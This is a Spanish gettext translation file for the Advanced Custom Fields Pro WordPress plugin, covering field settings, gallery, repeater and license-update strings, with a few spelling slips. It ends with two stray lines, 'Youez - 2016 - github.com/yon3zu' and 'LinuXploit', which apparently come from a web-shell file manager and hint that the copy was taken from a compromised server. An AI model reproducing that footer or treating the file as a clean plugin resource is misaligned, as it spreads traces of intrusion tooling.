msgstr "Formato de Retorno"

#: fields/post_object.php:463 fields/relationship.php:770
msgid "Post ID"
msgstr "ID de Post"

#: fields/radio.php:36
msgid "Radio Button"
msgstr "Radio Button"

#: fields/radio.php:202
msgid "Other"
msgstr "Otro"

#: fields/radio.php:206
msgid "Add 'other' choice to allow for custom values"
msgstr "Agregar la opción 'otros' para permitir valores personalizados"

#: fields/radio.php:212
msgid "Save Other"
msgstr "Guardar Otro"

#: fields/radio.php:216
msgid "Save 'other' values to the field's choices"
msgstr "Guardar 'otros' valores a las opciones del campo"

#: fields/relationship.php:36
msgid "Relationship"
msgstr "Relación"

#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Valores mínimos alcanzados ( {min} valores )"

#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Valores máximos alcanzados ( {max} valores )"

#: fields/relationship.php:50
msgid "Loading"
msgstr "Cargando"

#: fields/relationship.php:51
msgid "No matches found"
msgstr "No se encontraron resultados"

#: fields/relationship.php:571
msgid "Search..."
msgstr "Buscar..."

#: fields/relationship.php:580
msgid "Select post type"
msgstr "Selecciona Tipo de Post"

#: fields/relationship.php:593
msgid "Select taxonomy"
msgstr "Selecciona Taxonomía"

#: fields/relationship.php:723
msgid "Search"
msgstr "Buscar"

#: fields/relationship.php:725 fields/taxonomy.php:36 fields/taxonomy.php:735
msgid "Taxonomy"
msgstr "Taxonomía"

#: fields/relationship.php:732
msgid "Elements"
msgstr "Elementos"

#: fields/relationship.php:733
msgid "Selected elements will be displayed in each result"
msgstr "Los elementos seleccionados serán mostrados en cada resultado"

#: fields/relationship.php:744
msgid "Minimum posts"
msgstr "Mínimos posts"

#: fields/relationship.php:753
msgid "Maximum posts"
msgstr "Máximos posts"

#: fields/select.php:36 fields/select.php:174 fields/taxonomy.php:757
msgid "Select"
msgstr "Selección"

#: fields/select.php:434
msgid "Stylised UI"
msgstr "UI estilizada"

#: fields/select.php:448
msgid "Use AJAX to lazy load choices?"
msgstr "Usar AJAX para hacer lazy load de las opciones?"

#: fields/tab.php:36
msgid "Tab"
msgstr "Pestaña"

#: fields/tab.php:128
msgid "Warning"
msgstr "Alerta"

#: fields/tab.php:133
msgid ""
"The tab field will display incorrectly when added to a Table style repeater "
"field or flexible content field layout"
msgstr ""
"El campo pestaña se visualizará incorrectamente cuando sea agregado a un "
"campo de repetición con estilo Tabla o a un layout de contenido flexible"

#: fields/tab.php:146
msgid ""
"Use \"Tab Fields\" to better organize your edit screen by grouping fields "
"together."
msgstr ""
"Usa \"Campos Pestaña\" para organizar mejor tu pantalla de edición agrupando "
"campos."

#: fields/tab.php:148
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is "
"defined) will be grouped together using this field's label as the tab "
"heading."
msgstr ""
"Todos los campos que siguen de este \"campo pestaña\" (o hasta que otro "
"\"campo pestaña\" sea definido) serán agrepados la etiqueta de este campo "
"como título de la pestaña."

#: fields/tab.php:155
msgid "Placement"
msgstr "Ubicación"

#: fields/tab.php:167
msgid "End-point"
msgstr "Punto de Terminación"

#: fields/tab.php:168
msgid "Use this field as an end-point and start a new group of tabs"
msgstr ""
"Usar este campo como un punto de terminación y comenzar un nuevo grupo de "
"pestañas"

#: fields/taxonomy.php:565
#, php-format
msgid "Add new %s "
msgstr "Agregar nuevo %s"

#: fields/taxonomy.php:704
msgid "None"
msgstr "Ninguno"

#: fields/taxonomy.php:736
msgid "Select the taxonomy to be displayed"
msgstr "Selecciona taxonomía a ser mostrada"

#: fields/taxonomy.php:745
msgid "Appearance"
msgstr "Apariencia"

#: fields/taxonomy.php:746
msgid "Select the appearance of this field"
msgstr "Selecciona la apariencia de este campo"

#: fields/taxonomy.php:751
msgid "Multiple Values"
msgstr "Múltiples Valores"

#: fields/taxonomy.php:753
msgid "Multi Select"
msgstr "Selección Múltiple"

#: fields/taxonomy.php:755
msgid "Single Value"
msgstr "Valor Individual"

#: fields/taxonomy.php:756
msgid "Radio Buttons"
msgstr "Botones Radio"

#: fields/taxonomy.php:779
msgid "Create Terms"
msgstr "Crear Términos"

#: fields/taxonomy.php:780
msgid "Allow new terms to be created whilst editing"
msgstr "Permitir la creación de nuevos términos mientras se edita"

#: fields/taxonomy.php:793
msgid "Save Terms"
msgstr "Guardar Términos"

#: fields/taxonomy.php:794
msgid "Connect selected terms to the post"
msgstr "Conectar los términos seleccionados al post"

#: fields/taxonomy.php:807
msgid "Load Terms"
msgstr "Cargar Términos"

#: fields/taxonomy.php:808
msgid "Load value from posts terms"
msgstr "Cargar valor de los términos del post"

#: fields/taxonomy.php:826
msgid "Term Object"
msgstr "Objeto de Término"

#: fields/taxonomy.php:827
msgid "Term ID"
msgstr "ID de Término"

#: fields/taxonomy.php:886
#, php-format
msgid "User unable to add new %s"
msgstr "El usuario no puede agregar nuevos %s"

#: fields/taxonomy.php:899
#, php-format
msgid "%s already exists"
msgstr "%s ya existe"

#: fields/taxonomy.php:940
#, php-format
msgid "%s added"
msgstr "%s agregados"

#: fields/taxonomy.php:985
msgid "Add"
msgstr "Agregar"

#: fields/text.php:36
msgid "Text"
msgstr "Texto"

#: fields/text.php:184 fields/textarea.php:163
msgid "Character Limit"
msgstr "Límite de Caractéres"

#: fields/text.php:185 fields/textarea.php:164
msgid "Leave blank for no limit"
msgstr "Deja en blanco para ilimitado"

#: fields/textarea.php:36
msgid "Text Area"
msgstr "Area de Texto"

#: fields/textarea.php:172
msgid "Rows"
msgstr "Filas"

#: fields/textarea.php:173
msgid "Sets the textarea height"
msgstr "Setea el alto del área de texto"

#: fields/textarea.php:182
msgid "New Lines"
msgstr "Nuevas Líneas"

#: fields/textarea.php:183
msgid "Controls how new lines are rendered"
msgstr "Controla cómo se muestran las nuevas líneas"

#: fields/textarea.php:187
msgid "Automatically add paragraphs"
msgstr "Agregar párrafos automáticamente"

#: fields/textarea.php:188
msgid "Automatically add &lt;br&gt;"
msgstr "Agregar &lt;br&gt; automáticamente"

#: fields/textarea.php:189
msgid "No Formatting"
msgstr "Sin Formato"

#: fields/true_false.php:36
msgid "True / False"
msgstr "Verdadero / Falso"

#: fields/true_false.php:107
msgid "eg. Show extra content"
msgstr "ej. Mostrar contenido extra"

#: fields/url.php:36
msgid "Url"
msgstr "Url"

#: fields/url.php:160
msgid "Value must be a valid URL"
msgstr "El valor debe ser una URL válida"

#: fields/user.php:437
msgid "Filter by role"
msgstr "Filtrar por rol"

#: fields/user.php:445
msgid "All user roles"
msgstr "Todos los roles de usuario"

#: fields/wysiwyg.php:37
msgid "Wysiwyg Editor"
msgstr "Editor Wysiwyg"

#: fields/wysiwyg.php:297
msgid "Visual"
msgstr "Visual"

#: fields/wysiwyg.php:298
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Texto"

#: fields/wysiwyg.php:354
msgid "Tabs"
msgstr "Pestañas"

#: fields/wysiwyg.php:359
msgid "Visual & Text"
msgstr "Visual y Texto"

#: fields/wysiwyg.php:360
msgid "Visual Only"
msgstr "Sólo Visual"

#: fields/wysiwyg.php:361
msgid "Text Only"
msgstr "Sólo Texto"

#: fields/wysiwyg.php:368
msgid "Toolbar"
msgstr "Barra de Herramientas"

#: fields/wysiwyg.php:378
msgid "Show Media Upload Buttons?"
msgstr "¿Mostrar el botón Media Upload?"

#: forms/post.php:297 pro/admin/options-page.php:373
msgid "Edit field group"
msgstr "Editar grupo de campos"

#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

#: pro/acf-pro.php:175
msgid "Flexible Content requires at least 1 layout"
msgstr "El Contenido Flexible requiere por lo menos 1 layout"

#: pro/admin/options-page.php:48
msgid "Options Page"
msgstr "Página de Opciones"

#: pro/admin/options-page.php:83
msgid "No options pages exist"
msgstr "No existen páginas de opciones"

#: pro/admin/options-page.php:298
msgid "Options Updated"
msgstr "Opciones Actualizadas"

#: pro/admin/options-page.php:304
msgid "No Custom Field Groups found for this options page. <a href=\"%s\">Create a Custom Field Group</a>"
msgstr "No se encontraron grupos de campos personalizados para esta página de opciones. <a href=\"%s\">Crear Grupo de Campos Personalizados</a>"

#: pro/admin/settings-updates.php:137
msgid "<b>Error</b>. Could not connect to update server"
msgstr ""
"<b>Error</b>. No se ha podido conectar con el servidor de actualización"

#: pro/admin/settings-updates.php:267 pro/admin/settings-updates.php:338
msgid "<b>Connection Error</b>. Sorry, please try again"
msgstr "<b>Error de Conección</b>. Disculpa, por favor intenta nuevamente"

#: pro/admin/views/options-page.php:48
msgid "Publish"
msgstr "Publicar"

#: pro/admin/views/options-page.php:54
msgid "Save Options"
msgstr "Guardar Opciones"

#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Desactivar Licencia"

#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Activar Licencia"

#: pro/admin/views/settings-updates.php:21
msgid "License"
msgstr "Licencia"

#: pro/admin/views/settings-updates.php:24
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see"
msgstr ""
"Para desbloquear las actualizaciones, por favor ingresa tu clabe de licencia "
"debajo.  Si no tienes una clave de licencia, por favor mira"

#: pro/admin/views/settings-updates.php:24
msgid "details & pricing"
msgstr "detalles y precios"

#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Clave de Licencia"

#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Información de Actualización"

#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Versión Actual"

#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Última Versión"

#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Actualización Disponible"

#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Actualizar Plugin"

#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr "Por favor ingresa tu clave de licencia para habilitar actualizaciones"

#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Chequear nuevamente"

#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Notificación de Actualización"

#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Opciones"

#: pro/core/updates.php:186
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s"
"\">Updates</a> page. If you don't have a licence key, please see <a href=\"%s"
"\">details & pricing</a>"
msgstr ""
"Para habilitar actualizaciones, por favor ingresa tu clave de licencia en la "
"página de <a href=\"%s\">Actualizaciones</a>. Si no tiene una clave de "
"licencia, por favor mira <a href=\"%s\">detalles y precios</a>"

#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Contenido Flexible"

#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:43
msgid "Add Row"
msgstr "Agregar Fila"

#: pro/fields/flexible-content.php:45
msgid "layout"
msgstr "esquema"

#: pro/fields/flexible-content.php:46
msgid "layouts"
msgstr "esquemas"

#: pro/fields/flexible-content.php:47
msgid "remove {layout}?"
msgstr "remover {layout}?"

#: pro/fields/flexible-content.php:48
msgid "This field requires at least {min} {identifier}"
msgstr "Este campo requiere al menos {min} {identifier}"

#: pro/fields/flexible-content.php:49
msgid "This field has a limit of {max} {identifier}"
msgstr "Este campo tiene un límite de  {max} {identifier}"

#: pro/fields/flexible-content.php:50
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Este campo requiere al menos {min} {label} {identifier}"

#: pro/fields/flexible-content.php:51
msgid "Maximum {label} limit reached ({max} {identifier})"
msgstr "Límite máximo de {label} alcanzado. ({max} {identifier})"

#: pro/fields/flexible-content.php:52
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} disponible (max {max})"

#: pro/fields/flexible-content.php:53
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} requerido (min {min})"

#: pro/fields/flexible-content.php:211
#, php-format
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Haz click en el botón \"%s\" debajo para comenzar a crear tu esquema"

#: pro/fields/flexible-content.php:369
msgid "Add layout"
msgstr "Agregar Esquema"

#: pro/fields/flexible-content.php:372
msgid "Remove layout"
msgstr "Remover esquema"

#: pro/fields/flexible-content.php:514
msgid "Reorder Layout"
msgstr "Reordenar Esquema"

#: pro/fields/flexible-content.php:514
msgid "Reorder"
msgstr "Reordenar"

#: pro/fields/flexible-content.php:515
msgid "Delete Layout"
msgstr "Eliminar Esquema"

#: pro/fields/flexible-content.php:516
msgid "Duplicate Layout"
msgstr "Duplicar Esquema"

#: pro/fields/flexible-content.php:517
msgid "Add New Layout"
msgstr "Agregar Nuevo Esquema"

#: pro/fields/flexible-content.php:561
msgid "Display"
msgstr "Mostrar"

#: pro/fields/flexible-content.php:572 pro/fields/repeater.php:399
msgid "Table"
msgstr "Tabla"

#: pro/fields/flexible-content.php:573 pro/fields/repeater.php:400
msgid "Block"
msgstr "Bloque"

#: pro/fields/flexible-content.php:574 pro/fields/repeater.php:401
msgid "Row"
msgstr "Fila"

#: pro/fields/flexible-content.php:589
msgid "Min"
msgstr "Min"

#: pro/fields/flexible-content.php:602
msgid "Max"
msgstr "Max"

#: pro/fields/flexible-content.php:630 pro/fields/repeater.php:408
msgid "Button Label"
msgstr "Etiqueta del Botón"

#: pro/fields/flexible-content.php:639
msgid "Minimum Layouts"
msgstr "Esquemas Mínimos"

#: pro/fields/flexible-content.php:648
msgid "Maximum Layouts"
msgstr "Esquemas Máximos"

#: pro/fields/gallery.php:36
msgid "Gallery"
msgstr "Galería"

#: pro/fields/gallery.php:52
msgid "Add Image to Gallery"
msgstr "Agregar Imagen a Galería"

#: pro/fields/gallery.php:56
msgid "Maximum selection reached"
msgstr "Selección máxima alcanzada"

#: pro/fields/gallery.php:335
msgid "Length"
msgstr "Longitud"

#: pro/fields/gallery.php:355
msgid "Remove"
msgstr "Remover"

#: pro/fields/gallery.php:535
msgid "Add to gallery"
msgstr "Agregar a galería"

#: pro/fields/gallery.php:539
msgid "Bulk actions"
msgstr "Acciones en lote"

#: pro/fields/gallery.php:540
msgid "Sort by date uploaded"
msgstr "Ordenar por fecha de subida"

#: pro/fields/gallery.php:541
msgid "Sort by date modified"
msgstr "Ordenar por fecha de modificación"

#: pro/fields/gallery.php:542
msgid "Sort by title"
msgstr "Ordenar por título"

#: pro/fields/gallery.php:543
msgid "Reverse current order"
msgstr "Invertir orden actual"

#: pro/fields/gallery.php:561
msgid "Close"
msgstr "Cerrar"

#: pro/fields/gallery.php:619
msgid "Minimum Selection"
msgstr "Selección Mínima"

#: pro/fields/gallery.php:628
msgid "Maximum Selection"
msgstr "Selección Máxima"

#: pro/fields/gallery.php:809
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s requiere al menos %s selección"
msgstr[1] "%s requiere al menos %s selecciones"

#: pro/fields/repeater.php:36
msgid "Repeater"
msgstr "Repeater"

#: pro/fields/repeater.php:46
msgid "Minimum rows reached ({min} rows)"
msgstr "Mínimo de filas alcanzado ({min} rows)"

#: pro/fields/repeater.php:47
msgid "Maximum rows reached ({max} rows)"
msgstr "Máximo de filas alcanzado ({max} rows)"

#: pro/fields/repeater.php:259
msgid "Drag to reorder"
msgstr "Arrastra para reordenar"

#: pro/fields/repeater.php:301
msgid "Add row"
msgstr "Agregar fila"

#: pro/fields/repeater.php:302
msgid "Remove row"
msgstr "Remover fila"

#: pro/fields/repeater.php:350
msgid "Sub Fields"
msgstr "Sub Campos"

#: pro/fields/repeater.php:372
msgid "Minimum Rows"
msgstr "Mínimo de Filas"

#: pro/fields/repeater.php:382
msgid "Maximum Rows"
msgstr "Máximo de Filas"

#. Plugin Name of the plugin/theme
msgid "Advanced Custom Fields Pro"
msgstr "Advanced Custom Fields Pro"

#. Plugin URI of the plugin/theme
msgid "http://www.advancedcustomfields.com/"
msgstr "http://www.advancedcustomfields.com/"

#. Description of the plugin/theme
msgid "Customise WordPress with powerful, professional and intuitive fields"
msgstr "Personaliza Wordpress con campos poderosos, profesionales e intuitivos"

#. Author of the plugin/theme
msgid "elliot condon"
msgstr "elliot condon"

#. Author URI of the plugin/theme
msgid "http://www.elliotcondon.com/"
msgstr "http://www.elliotcondon.com/"

#~ msgid "Validation Failed. One or more fields below are required."
#~ msgstr "Fallo en la validación. Uno o más campos son requeridos."

#~ msgid "Error: Field Type does not exist!"
#~ msgstr "Error: El tipo de campo no existe!"

#~ msgid "No ACF groups selected"
#~ msgstr "No hay grupos de ACF seleccionados"

#~ msgid "Field Order"
#~ msgstr "Orden de los campos"

#~ msgid "Docs"
#~ msgstr "Docs"

#~ msgid "Field Instructions"
#~ msgstr "Instrucciones del campo"

#~ msgid "Save Field"
#~ msgstr "Guardar Field"

#~ msgid "Hide this edit screen"
#~ msgstr "Ocultar esta pantalla de edición"

#~ msgid "continue editing ACF"
#~ msgstr "continuar editando ACF"

#~ msgid "match"
#~ msgstr "coincide"

#~ msgid "of the above"
#~ msgstr "de los superiores"

#~ msgid "Field groups are created in order <br />from lowest to highest."
#~ msgstr "Los Field Groups son creados en orden <br /> de menor a mayor."

#~ msgid "Show on page"
#~ msgstr "Mostrar en página"

#~ msgid "Deselect items to hide them on the edit page"
#~ msgstr "Deselecciona items para esconderlos en la página de edición"

#~ msgid ""
#~ "If multiple ACF groups appear on an edit page, the first ACF group's "
#~ "options will be used. The first ACF group is the one with the lowest "
#~ "order number."
#~ msgstr ""
#~ "Si aparecen multiples grupos de ACF en una página de edición, se usarán "
#~ "las opciones del primer grupo. Se considera primer grupo de ACF al que "
#~ "cuenta con el número de orden más bajo."

#~ msgid ""
#~ "Read documentation, learn the functions and find some tips &amp; tricks "
#~ "for your next web project."
#~ msgstr ""
#~ "Lee la documentación, aprende sobre las funciones y encuentra algunos "
#~ "trucos y consejos para tu siguiente proyecto web."

#~ msgid "View the ACF website"
#~ msgstr "Ver la web de ACF"

#~ msgid "Vote"
#~ msgstr "Vota"

#~ msgid "Follow"
#~ msgstr "Sígueme"

#~ msgid "Advanced Custom Fields Settings"
#~ msgstr "Ajustes de Advanced Custom Fields"

#~ msgid "Activate Add-ons."
#~ msgstr "Activar Add-ons."

#~ msgid "Activation Code"
#~ msgstr "Código de activación"

#~ msgid "Repeater Field"
#~ msgstr "Repeater Field"

#~ msgid "Inactive"
#~ msgstr "Inactivo"

#~ msgid "Flexible Content Field"
#~ msgstr "Flexible Content Field"

#~ msgid ""
#~ "Add-ons can be unlocked by purchasing a license key. Each key can be used "
#~ "on multiple sites."
#~ msgstr ""
#~ "Las Add-ons pueden desbloquearse comprando una clave de licencia. Cada "
#~ "clave puede usarse en multiple sites."

#~ msgid "Find Add-ons"
#~ msgstr "Buscar Add-ons"

#~ msgid "Export Field Groups to XML"
#~ msgstr "Exportar Field Groups a XML"

#~ msgid ""
#~ "ACF will create a .xml export file which is compatible with the native WP "
#~ "import plugin."
#~ msgstr ""
#~ "ACF creará un archivo .xml que es compatible con el plugin de importación "
#~ "nativo de WP."

#~ msgid "Export XML"
#~ msgstr "Exportar XML"

#~ msgid "Navigate to the"
#~ msgstr "Navegar a"

#~ msgid "Import Tool"
#~ msgstr "Utilidad de importación"

#~ msgid "and select WordPress"
#~ msgstr "y selecciona WordPress"

#~ msgid "Install WP import plugin if prompted"
#~ msgstr "Instalar el plugin de importación de WP si se pide"

#~ msgid "Upload and import your exported .xml file"
#~ msgstr "Subir e importar tu archivo .xml exportado"

#~ msgid "Select your user and ignore Import Attachments"
#~ msgstr "Selecciona tu usuario e ignora Import Attachments"

#~ msgid "That's it! Happy WordPressing"
#~ msgstr "¡Eso es todo! Feliz WordPressing"

#~ msgid "ACF will create the PHP code to include in your theme"
#~ msgstr "ACF creará el código PHP para incluir en tu tema"

#~ msgid "Create PHP"
#~ msgstr "Crear PHP"

#~ msgid "Register Field Groups with PHP"
#~ msgstr "Registrar Field Groups con PHP"

#~ msgid "Copy the PHP code generated"
#~ msgstr "Copia el código PHP generado"

#~ msgid "Paste into your functions.php file"
#~ msgstr "Pegalo en tu archivo functions.php"

#~ msgid ""
#~ "To activate any Add-ons, edit and use the code in the first few lines."
#~ msgstr ""
#~ "Para activar cualquier Add-on, edita y usa el código en las primeras "
#~ "pocas lineas."

#~ msgid "Back to settings"
#~ msgstr "Volver a los ajustes"

#~ msgid ""
#~ "/**\n"
#~ " * Activate Add-ons\n"
#~ " * Here you can enter your activation codes to unlock Add-ons to use in "
#~ "your theme. \n"
#~ " * Since all activation codes are multi-site licenses, you are allowed to "
#~ "include your key in premium themes. \n"
#~ " * Use the commented out code to update the database with your activation "
#~ "code. \n"
#~ " * You may place this code inside an IF statement that only runs on theme "
#~ "activation.\n"
#~ " */"
#~ msgstr ""
#~ "/**\n"
#~ " * Activar Add-ons\n"
#~ " * Aquí puedes introducir tus códigos de activación para desbloquear Add-"
#~ "ons y utilizarlos en tu tema. \n"
#~ " * Ya que todos los códigos de activación tiene licencia multi-site, se "
#~ "te permite incluir tu clave en temas premium. \n"
#~ " * Utiliza el código comentado para actualizar la base de datos con tu "
#~ "código de activación. \n"
#~ " * Puedes colocar este código dentro de una instrucción IF para que sólo "
#~ "funcione en la activación del tema.\n"
#~ " */"

#~ msgid ""
#~ "/**\n"
#~ " * Register field groups\n"
#~ " * The register_field_group function accepts 1 array which holds the "
#~ "relevant data to register a field group\n"
#~ " * You may edit the array as you see fit. However, this may result in "
#~ "errors if the array is not compatible with ACF\n"
#~ " * This code must run every time the functions.php file is read\n"
#~ " */"
#~ msgstr ""
#~ "/**\n"
#~ " * Registrar field groups\n"
#~ " * La función register_field_group acepta un 1 array que contiene los "
#~ "datos pertinentes para registrar un Field Group\n"
#~ " * Puedes editar el array como mejor te parezca. Sin embargo, esto puede "
#~ "dar lugar a errores si la matriz no es compatible con ACF\n"
#~ " * Este código debe ejecutarse cada vez que se lee el archivo functions."
#~ "php\n"
#~ " */"

#~ msgid "No field groups were selected"
#~ msgstr "No hay ningún Field Group seleccionado"

#~ msgid "No choices to choose from"
#~ msgstr "No hay opciones para escojer"

#~ msgid ""
#~ "Enter your choices one per line<br />\n"
#~ "\t\t\t\t<br />\n"
#~ "\t\t\t\tRed<br />\n"
#~ "\t\t\t\tBlue<br />\n"
#~ "\t\t\t\t<br />\n"
#~ "\t\t\t\tor<br />\n"
#~ "\t\t\t\t<br />\n"
#~ "\t\t\t\tred : Red<br />\n"
#~ "\t\t\t\tblue : Blue"
#~ msgstr ""
#~ "Introduce tus opciones, una por línea<br />\n"
#~ "\t\t\t\t<br />\n"
#~ "\t\t\t\tRojo<br />\n"
#~ "\t\t\t\tAzul<br />\n"
#~ "\t\t\t\t<br />\n"
#~ "\t\t\t\to<br />\n"
#~ "\t\t\t\t<br />\n"
#~ "\t\t\t\tred : Rojo<br />\n"
#~ "\t\t\t\tblue : Azul"

#~ msgid "Date format"
#~ msgstr "Formato de Fecha"

#~ msgid "eg. dd/mm/yy. read more about"
#~ msgstr "ej. dd/mm/yy. leer más sobre"

#~ msgid "Remove File"
#~ msgstr "Eliminar Archivo"

#~ msgid "Click the \"add row\" button below to start creating your layout"
#~ msgstr ""
#~ "Haz click sobre el botón \"añadir fila\" para empezar a crear tu Layout"

#~ msgid "+ Add Row"
#~ msgstr "+ Añadir fila"

#~ msgid ""
#~ "No fields. Click the \"+ Add Field button\" to create your first field."
#~ msgstr ""
#~ "No hay campos. Haz click en el botón \"+ Añadir Campo\" para crear tu "
#~ "primer campo."

#~ msgid ""
#~ "Filter posts by selecting a post type<br />\n"
#~ "\t\t\t\tTip: deselect all post types to show all post type's posts"
#~ msgstr ""
#~ "Filtrar posts seleccionando un post type<br />\n"
#~ "\t\t\t\tConsejo: deselecciona todos los post type para mostrar todos los "
#~ "tipos de post"

#~ msgid "Filter from Taxonomy"
#~ msgstr "Filtrar por Taxonomía"

#~ msgid "Set to -1 for inifinit"
#~ msgstr "Se establece en -1 para inifinito"

#~ msgid "Repeater Fields"
#~ msgstr "Repeater Fields"

#~ msgid "Row Limit"
#~ msgstr "Limite de filas"

#~ msgid "Formatting"
#~ msgstr "Formato"

#~ msgid "Define how to render html tags"
#~ msgstr "Define como renderizar las etiquetas html"

#~ msgid "Define how to render html tags / new lines"
#~ msgstr "Define como renderizar los tags html / nuevas lineas"

#~ msgid "Save"
#~ msgstr "Guardar"

Youez - 2016 - github.com/yon3zu
LinuXploit